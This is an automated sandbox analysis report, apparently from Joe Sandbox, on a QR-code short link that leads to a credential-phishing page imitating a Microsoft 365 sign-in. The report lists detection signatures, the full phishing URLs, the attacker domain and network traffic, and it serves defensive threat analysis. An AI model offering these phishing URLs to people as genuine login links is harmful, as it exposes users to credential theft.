Edit tour

Windows Analysis Report
https://qrco.de/beoXnp

Overview

General Information

Sample URL:	https://qrco.de/beoXnp
Analysis ID:	1397588
Infos:

Detection

HTMLPhisher

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Phishing site detected (based on favicon image match)

Yara detected HtmlPhish54

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

Creates files inside the system directory

Found iframes

HTML body contains low number of good links

HTML title does not match URL

Submit button contains javascript call

Classification

Process Tree

System is w10x64

chrome.exe (PID: 908 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5932 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2372,i,8607194421780952644,2411347449905481728,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6496 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" "https://qrco.de/beoXnp MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
0.0.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
2.3.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
2.9.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
2.4.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://qrco.de/beoXnp

SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Phishing

Phishing site detected (based on favicon image match)

Source: https://mojopowertsinctech.com	Matcher: Template: microsoft matched with high similarity
Source: https://o365.mojopowertsinctech.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638442821614032083.YjYwZGIzMDEtOWRhNi00YmRjLTg3ZjMtYTZjOWQzNTM2NmFjMGQ4YjYxOGUtNzFiYy00NWU0LWFhZWYtZWJhZDY2ZDYzZGVm&ui_locales=en-US&mkt=en-US&client-request-id=9f271058-1d4e-4ca9-b4b7-3f7143f1c7f2&state=SKX2sWObnmC2KUDmyl6IEdRcNVgMO2kAOvqdxIJr7XryeudiPxw8O4aUBH61t-i5dyiB0zEFGOroYmPV9_ACzHInvHz2SDzzvAjQNm82MDfuUNMyTxYsfOKoomU8w3NsXljPAor75CC5HwINzhGzqtsj5N2jjZ2b6WdFDVLUUP-fE1NLxMq5aHhzbpDL_aj7ymi04o-2ql7ws934C-6hcNC6fmmOpcREX_Ei2SK8Ukv0AWMfPnuLwgxyNiAT3kWqUdhiXyZk7h71_597UFSMng&x-client-SKU=ID_NET6_0&x-client-ver=7.2.0.0&sso_reload=true	Matcher: Template: microsoft matched with high similarity

Yara detected HtmlPhish54

Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML
Source: Yara match	File source: 2.9.pages.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML

Phishing site detected (based on image similarity)

Source: https://o365.mojopowertsinctech.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638442821614032083.YjYwZGIzMDEtOWRhNi00YmRjLTg3ZjMtYTZjOWQzNTM2NmFjMGQ4YjYxOGUtNzFiYy00NWU0LWFhZWYtZWJhZDY2ZDYzZGVm&ui_locales=en-US&mkt=en-US&client-request-id=9f271058-1d4e-4ca9-b4b7-3f7143f1c7f2&state=SKX2sWObnmC2KUDmyl6IEdRcNVgMO2kAOvqdxIJr7XryeudiPxw8O4aUBH61t-i5dyiB0zEFGOroYmPV9_ACzHInvHz2SDzzvAjQNm82MDfuUNMyTxYsfOKoomU8w3NsXljPAor75CC5HwINzhGzqtsj5N2jjZ2b6WdFDVLUUP-fE1NLxMq5aHhzbpDL_aj7ymi04o-2ql7ws934C-6hcNC6fmmOpcREX_Ei2SK8Ukv0AWMfPnuLwgxyNiAT3kWqUdhiXyZk7h71_597UFSMng&x-client-SKU=ID_NET6_0&x-client-ver=7.2.0.0&sso_reload=true

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Matcher: Template: microsoft matched

Source: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26client_id%3d4765445b-32c6-49b0-83e6-1d93765276ca%26mkt%3dEN-US%26opid%3dE732ECC7090E64D4%26opidt%3d1708685385%26uaid%3d9f2710581d4e4ca9b4b73f7143f1c7f2%26contextid%3dC3D2AEA88BADC39E%26opignore%3d1&mkt=EN-US&uiflavor=web&lw=1&fl=easi2&client_id=4765445b-32c6-49b0-83e6-1d93765276ca&uaid=9f2710581d4e4ca9b4b73f7143f1c7f2&suc=4765445b-32c6-49b0-83e6-1d93765276ca&lic=1

HTTP Parser: Iframe src: https://fpt.live.com/?session_id=9f2710581d4e4ca9b4b73f7143f1c7f2&CustomerId=33e01921-4d64-4f8c-a055-5bdaffd5e33d&PageId=SU&mkt=EN-US

Source: https://o365.mojopowertsinctech.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638442821614032083.YjYwZGIzMDEtOWRhNi00YmRjLTg3ZjMtYTZjOWQzNTM2NmFjMGQ4YjYxOGUtNzFiYy00NWU0LWFhZWYtZWJhZDY2ZDYzZGVm&ui_locales=en-US&mkt=en-US&client-request-id=9f271058-1d4e-4ca9-b4b7-3f7143f1c7f2&state=SKX2sWObnmC2KUDmyl6IEdRcNVgMO2kAOvqdxIJr7XryeudiPxw8O4aUBH61t-i5dyiB0zEFGOroYmPV9_ACzHInvHz2SDzzvAjQNm82MDfuUNMyTxYsfOKoomU8w3NsXljPAor75CC5HwINzhGzqtsj5N2jjZ2b6WdFDVLUUP-fE1NLxMq5aHhzbpDL_aj7ymi04o-2ql7ws934C-6hcNC6fmmOpcREX_Ei2SK8Ukv0AWMfPnuLwgxyNiAT3kWqUdhiXyZk7h71_597UFSMng&x-client-SKU=ID_NET6_0&x-client-ver=7.2.0.0&sso_reload=true	HTTP Parser: Number of links: 0
Source: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26client_id%3d4765445b-32c6-49b0-83e6-1d93765276ca%26mkt%3dEN-US%26opid%3dE732ECC7090E64D4%26opidt%3d1708685385%26uaid%3d9f2710581d4e4ca9b4b73f7143f1c7f2%26contextid%3dC3D2AEA88BADC39E%26opignore%3d1&mkt=EN-US&uiflavor=web&lw=1&fl=easi2&client_id=4765445b-32c6-49b0-83e6-1d93765276ca&uaid=9f2710581d4e4ca9b4b73f7143f1c7f2&suc=4765445b-32c6-49b0-83e6-1d93765276ca&lic=1	HTTP Parser: Number of links: 0

Source: https://o365.mojopowertsinctech.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638442821614032083.YjYwZGIzMDEtOWRhNi00YmRjLTg3ZjMtYTZjOWQzNTM2NmFjMGQ4YjYxOGUtNzFiYy00NWU0LWFhZWYtZWJhZDY2ZDYzZGVm&ui_locales=en-US&mkt=en-US&client-request-id=9f271058-1d4e-4ca9-b4b7-3f7143f1c7f2&state=SKX2sWObnmC2KUDmyl6IEdRcNVgMO2kAOvqdxIJr7XryeudiPxw8O4aUBH61t-i5dyiB0zEFGOroYmPV9_ACzHInvHz2SDzzvAjQNm82MDfuUNMyTxYsfOKoomU8w3NsXljPAor75CC5HwINzhGzqtsj5N2jjZ2b6WdFDVLUUP-fE1NLxMq5aHhzbpDL_aj7ymi04o-2ql7ws934C-6hcNC6fmmOpcREX_Ei2SK8Ukv0AWMfPnuLwgxyNiAT3kWqUdhiXyZk7h71_597UFSMng&x-client-SKU=ID_NET6_0&x-client-ver=7.2.0.0&sso_reload=true	HTTP Parser: Title: Sign in to your account does not match URL
Source: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26client_id%3d4765445b-32c6-49b0-83e6-1d93765276ca%26mkt%3dEN-US%26opid%3dE732ECC7090E64D4%26opidt%3d1708685385%26uaid%3d9f2710581d4e4ca9b4b73f7143f1c7f2%26contextid%3dC3D2AEA88BADC39E%26opignore%3d1&mkt=EN-US&uiflavor=web&lw=1&fl=easi2&client_id=4765445b-32c6-49b0-83e6-1d93765276ca&uaid=9f2710581d4e4ca9b4b73f7143f1c7f2&suc=4765445b-32c6-49b0-83e6-1d93765276ca&lic=1	HTTP Parser: Title: Create account does not match URL

Source: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26client_id%3d4765445b-32c6-49b0-83e6-1d93765276ca%26mkt%3dEN-US%26opid%3dE732ECC7090E64D4%26opidt%3d1708685385%26uaid%3d9f2710581d4e4ca9b4b73f7143f1c7f2%26contextid%3dC3D2AEA88BADC39E%26opignore%3d1&mkt=EN-US&uiflavor=web&lw=1&fl=easi2&client_id=4765445b-32c6-49b0-83e6-1d93765276ca&uaid=9f2710581d4e4ca9b4b73f7143f1c7f2&suc=4765445b-32c6-49b0-83e6-1d93765276ca&lic=1	HTTP Parser: On click: OnBack(); return false;
Source: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26client_id%3d4765445b-32c6-49b0-83e6-1d93765276ca%26mkt%3dEN-US%26opid%3dE732ECC7090E64D4%26opidt%3d1708685385%26uaid%3d9f2710581d4e4ca9b4b73f7143f1c7f2%26contextid%3dC3D2AEA88BADC39E%26opignore%3d1&mkt=EN-US&uiflavor=web&lw=1&fl=easi2&client_id=4765445b-32c6-49b0-83e6-1d93765276ca&uaid=9f2710581d4e4ca9b4b73f7143f1c7f2&suc=4765445b-32c6-49b0-83e6-1d93765276ca&lic=1	HTTP Parser: On click: HOSTUI.evt_inlineBack_onclick();
Source: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26client_id%3d4765445b-32c6-49b0-83e6-1d93765276ca%26mkt%3dEN-US%26opid%3dE732ECC7090E64D4%26opidt%3d1708685385%26uaid%3d9f2710581d4e4ca9b4b73f7143f1c7f2%26contextid%3dC3D2AEA88BADC39E%26opignore%3d1&mkt=EN-US&uiflavor=web&lw=1&fl=easi2&client_id=4765445b-32c6-49b0-83e6-1d93765276ca&uaid=9f2710581d4e4ca9b4b73f7143f1c7f2&suc=4765445b-32c6-49b0-83e6-1d93765276ca&lic=1	HTTP Parser: On click: HOSTUI.evt_inlineBack_onclick();
Source: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26client_id%3d4765445b-32c6-49b0-83e6-1d93765276ca%26mkt%3dEN-US%26opid%3dE732ECC7090E64D4%26opidt%3d1708685385%26uaid%3d9f2710581d4e4ca9b4b73f7143f1c7f2%26contextid%3dC3D2AEA88BADC39E%26opignore%3d1&mkt=EN-US&uiflavor=web&lw=1&fl=easi2&client_id=4765445b-32c6-49b0-83e6-1d93765276ca&uaid=9f2710581d4e4ca9b4b73f7143f1c7f2&suc=4765445b-32c6-49b0-83e6-1d93765276ca&lic=1	HTTP Parser: On click: OnBack(); return false;
Source: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26client_id%3d4765445b-32c6-49b0-83e6-1d93765276ca%26mkt%3dEN-US%26opid%3dE732ECC7090E64D4%26opidt%3d1708685385%26uaid%3d9f2710581d4e4ca9b4b73f7143f1c7f2%26contextid%3dC3D2AEA88BADC39E%26opignore%3d1&mkt=EN-US&uiflavor=web&lw=1&fl=easi2&client_id=4765445b-32c6-49b0-83e6-1d93765276ca&uaid=9f2710581d4e4ca9b4b73f7143f1c7f2&suc=4765445b-32c6-49b0-83e6-1d93765276ca&lic=1	HTTP Parser: On click: HOSTUI.evt_inlineBack_onclick();
Source: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26client_id%3d4765445b-32c6-49b0-83e6-1d93765276ca%26mkt%3dEN-US%26opid%3dE732ECC7090E64D4%26opidt%3d1708685385%26uaid%3d9f2710581d4e4ca9b4b73f7143f1c7f2%26contextid%3dC3D2AEA88BADC39E%26opignore%3d1&mkt=EN-US&uiflavor=web&lw=1&fl=easi2&client_id=4765445b-32c6-49b0-83e6-1d93765276ca&uaid=9f2710581d4e4ca9b4b73f7143f1c7f2&suc=4765445b-32c6-49b0-83e6-1d93765276ca&lic=1	HTTP Parser: On click: HOSTUI.evt_inlineBack_onclick();

HTTP Parser: <input type="password" .../> found

Source: https://o365.mojopowertsinctech.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638442821614032083.YjYwZGIzMDEtOWRhNi00YmRjLTg3ZjMtYTZjOWQzNTM2NmFjMGQ4YjYxOGUtNzFiYy00NWU0LWFhZWYtZWJhZDY2ZDYzZGVm&ui_locales=en-US&mkt=en-US&client-request-id=9f271058-1d4e-4ca9-b4b7-3f7143f1c7f2&state=SKX2sWObnmC2KUDmyl6IEdRcNVgMO2kAOvqdxIJr7XryeudiPxw8O4aUBH61t-i5dyiB0zEFGOroYmPV9_ACzHInvHz2SDzzvAjQNm82MDfuUNMyTxYsfOKoomU8w3NsXljPAor75CC5HwINzhGzqtsj5N2jjZ2b6WdFDVLUUP-fE1NLxMq5aHhzbpDL_aj7ymi04o-2ql7ws934C-6hcNC6fmmOpcREX_Ei2SK8Ukv0AWMfPnuLwgxyNiAT3kWqUdhiXyZk7h71_597UFSMng&x-client-SKU=ID_NET6_0&x-client-ver=7.2.0.0	HTTP Parser: No favicon
Source: https://fpt.live.com/?session_id=9f2710581d4e4ca9b4b73f7143f1c7f2&CustomerId=33e01921-4d64-4f8c-a055-5bdaffd5e33d&PageId=SU&mkt=EN-US	HTTP Parser: No favicon

Source: https://o365.mojopowertsinctech.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638442821614032083.YjYwZGIzMDEtOWRhNi00YmRjLTg3ZjMtYTZjOWQzNTM2NmFjMGQ4YjYxOGUtNzFiYy00NWU0LWFhZWYtZWJhZDY2ZDYzZGVm&ui_locales=en-US&mkt=en-US&client-request-id=9f271058-1d4e-4ca9-b4b7-3f7143f1c7f2&state=SKX2sWObnmC2KUDmyl6IEdRcNVgMO2kAOvqdxIJr7XryeudiPxw8O4aUBH61t-i5dyiB0zEFGOroYmPV9_ACzHInvHz2SDzzvAjQNm82MDfuUNMyTxYsfOKoomU8w3NsXljPAor75CC5HwINzhGzqtsj5N2jjZ2b6WdFDVLUUP-fE1NLxMq5aHhzbpDL_aj7ymi04o-2ql7ws934C-6hcNC6fmmOpcREX_Ei2SK8Ukv0AWMfPnuLwgxyNiAT3kWqUdhiXyZk7h71_597UFSMng&x-client-SKU=ID_NET6_0&x-client-ver=7.2.0.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://o365.mojopowertsinctech.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638442821614032083.YjYwZGIzMDEtOWRhNi00YmRjLTg3ZjMtYTZjOWQzNTM2NmFjMGQ4YjYxOGUtNzFiYy00NWU0LWFhZWYtZWJhZDY2ZDYzZGVm&ui_locales=en-US&mkt=en-US&client-request-id=9f271058-1d4e-4ca9-b4b7-3f7143f1c7f2&state=SKX2sWObnmC2KUDmyl6IEdRcNVgMO2kAOvqdxIJr7XryeudiPxw8O4aUBH61t-i5dyiB0zEFGOroYmPV9_ACzHInvHz2SDzzvAjQNm82MDfuUNMyTxYsfOKoomU8w3NsXljPAor75CC5HwINzhGzqtsj5N2jjZ2b6WdFDVLUUP-fE1NLxMq5aHhzbpDL_aj7ymi04o-2ql7ws934C-6hcNC6fmmOpcREX_Ei2SK8Ukv0AWMfPnuLwgxyNiAT3kWqUdhiXyZk7h71_597UFSMng&x-client-SKU=ID_NET6_0&x-client-ver=7.2.0.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://o365.mojopowertsinctech.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638442821614032083.YjYwZGIzMDEtOWRhNi00YmRjLTg3ZjMtYTZjOWQzNTM2NmFjMGQ4YjYxOGUtNzFiYy00NWU0LWFhZWYtZWJhZDY2ZDYzZGVm&ui_locales=en-US&mkt=en-US&client-request-id=9f271058-1d4e-4ca9-b4b7-3f7143f1c7f2&state=SKX2sWObnmC2KUDmyl6IEdRcNVgMO2kAOvqdxIJr7XryeudiPxw8O4aUBH61t-i5dyiB0zEFGOroYmPV9_ACzHInvHz2SDzzvAjQNm82MDfuUNMyTxYsfOKoomU8w3NsXljPAor75CC5HwINzhGzqtsj5N2jjZ2b6WdFDVLUUP-fE1NLxMq5aHhzbpDL_aj7ymi04o-2ql7ws934C-6hcNC6fmmOpcREX_Ei2SK8Ukv0AWMfPnuLwgxyNiAT3kWqUdhiXyZk7h71_597UFSMng&x-client-SKU=ID_NET6_0&x-client-ver=7.2.0.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26client_id%3d4765445b-32c6-49b0-83e6-1d93765276ca%26mkt%3dEN-US%26opid%3dE732ECC7090E64D4%26opidt%3d1708685385%26uaid%3d9f2710581d4e4ca9b4b73f7143f1c7f2%26contextid%3dC3D2AEA88BADC39E%26opignore%3d1&mkt=EN-US&uiflavor=web&lw=1&fl=easi2&client_id=4765445b-32c6-49b0-83e6-1d93765276ca&uaid=9f2710581d4e4ca9b4b73f7143f1c7f2&suc=4765445b-32c6-49b0-83e6-1d93765276ca&lic=1	HTTP Parser: No <meta name="author".. found
Source: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26client_id%3d4765445b-32c6-49b0-83e6-1d93765276ca%26mkt%3dEN-US%26opid%3dE732ECC7090E64D4%26opidt%3d1708685385%26uaid%3d9f2710581d4e4ca9b4b73f7143f1c7f2%26contextid%3dC3D2AEA88BADC39E%26opignore%3d1&mkt=EN-US&uiflavor=web&lw=1&fl=easi2&client_id=4765445b-32c6-49b0-83e6-1d93765276ca&uaid=9f2710581d4e4ca9b4b73f7143f1c7f2&suc=4765445b-32c6-49b0-83e6-1d93765276ca&lic=1	HTTP Parser: No <meta name="author".. found

Source: https://o365.mojopowertsinctech.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638442821614032083.YjYwZGIzMDEtOWRhNi00YmRjLTg3ZjMtYTZjOWQzNTM2NmFjMGQ4YjYxOGUtNzFiYy00NWU0LWFhZWYtZWJhZDY2ZDYzZGVm&ui_locales=en-US&mkt=en-US&client-request-id=9f271058-1d4e-4ca9-b4b7-3f7143f1c7f2&state=SKX2sWObnmC2KUDmyl6IEdRcNVgMO2kAOvqdxIJr7XryeudiPxw8O4aUBH61t-i5dyiB0zEFGOroYmPV9_ACzHInvHz2SDzzvAjQNm82MDfuUNMyTxYsfOKoomU8w3NsXljPAor75CC5HwINzhGzqtsj5N2jjZ2b6WdFDVLUUP-fE1NLxMq5aHhzbpDL_aj7ymi04o-2ql7ws934C-6hcNC6fmmOpcREX_Ei2SK8Ukv0AWMfPnuLwgxyNiAT3kWqUdhiXyZk7h71_597UFSMng&x-client-SKU=ID_NET6_0&x-client-ver=7.2.0.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://o365.mojopowertsinctech.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638442821614032083.YjYwZGIzMDEtOWRhNi00YmRjLTg3ZjMtYTZjOWQzNTM2NmFjMGQ4YjYxOGUtNzFiYy00NWU0LWFhZWYtZWJhZDY2ZDYzZGVm&ui_locales=en-US&mkt=en-US&client-request-id=9f271058-1d4e-4ca9-b4b7-3f7143f1c7f2&state=SKX2sWObnmC2KUDmyl6IEdRcNVgMO2kAOvqdxIJr7XryeudiPxw8O4aUBH61t-i5dyiB0zEFGOroYmPV9_ACzHInvHz2SDzzvAjQNm82MDfuUNMyTxYsfOKoomU8w3NsXljPAor75CC5HwINzhGzqtsj5N2jjZ2b6WdFDVLUUP-fE1NLxMq5aHhzbpDL_aj7ymi04o-2ql7ws934C-6hcNC6fmmOpcREX_Ei2SK8Ukv0AWMfPnuLwgxyNiAT3kWqUdhiXyZk7h71_597UFSMng&x-client-SKU=ID_NET6_0&x-client-ver=7.2.0.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://o365.mojopowertsinctech.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638442821614032083.YjYwZGIzMDEtOWRhNi00YmRjLTg3ZjMtYTZjOWQzNTM2NmFjMGQ4YjYxOGUtNzFiYy00NWU0LWFhZWYtZWJhZDY2ZDYzZGVm&ui_locales=en-US&mkt=en-US&client-request-id=9f271058-1d4e-4ca9-b4b7-3f7143f1c7f2&state=SKX2sWObnmC2KUDmyl6IEdRcNVgMO2kAOvqdxIJr7XryeudiPxw8O4aUBH61t-i5dyiB0zEFGOroYmPV9_ACzHInvHz2SDzzvAjQNm82MDfuUNMyTxYsfOKoomU8w3NsXljPAor75CC5HwINzhGzqtsj5N2jjZ2b6WdFDVLUUP-fE1NLxMq5aHhzbpDL_aj7ymi04o-2ql7ws934C-6hcNC6fmmOpcREX_Ei2SK8Ukv0AWMfPnuLwgxyNiAT3kWqUdhiXyZk7h71_597UFSMng&x-client-SKU=ID_NET6_0&x-client-ver=7.2.0.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26client_id%3d4765445b-32c6-49b0-83e6-1d93765276ca%26mkt%3dEN-US%26opid%3dE732ECC7090E64D4%26opidt%3d1708685385%26uaid%3d9f2710581d4e4ca9b4b73f7143f1c7f2%26contextid%3dC3D2AEA88BADC39E%26opignore%3d1&mkt=EN-US&uiflavor=web&lw=1&fl=easi2&client_id=4765445b-32c6-49b0-83e6-1d93765276ca&uaid=9f2710581d4e4ca9b4b73f7143f1c7f2&suc=4765445b-32c6-49b0-83e6-1d93765276ca&lic=1	HTTP Parser: No <meta name="copyright".. found
Source: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26client_id%3d4765445b-32c6-49b0-83e6-1d93765276ca%26mkt%3dEN-US%26opid%3dE732ECC7090E64D4%26opidt%3d1708685385%26uaid%3d9f2710581d4e4ca9b4b73f7143f1c7f2%26contextid%3dC3D2AEA88BADC39E%26opignore%3d1&mkt=EN-US&uiflavor=web&lw=1&fl=easi2&client_id=4765445b-32c6-49b0-83e6-1d93765276ca&uaid=9f2710581d4e4ca9b4b73f7143f1c7f2&suc=4765445b-32c6-49b0-83e6-1d93765276ca&lic=1	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.4:49744 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 104.46.162.224
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

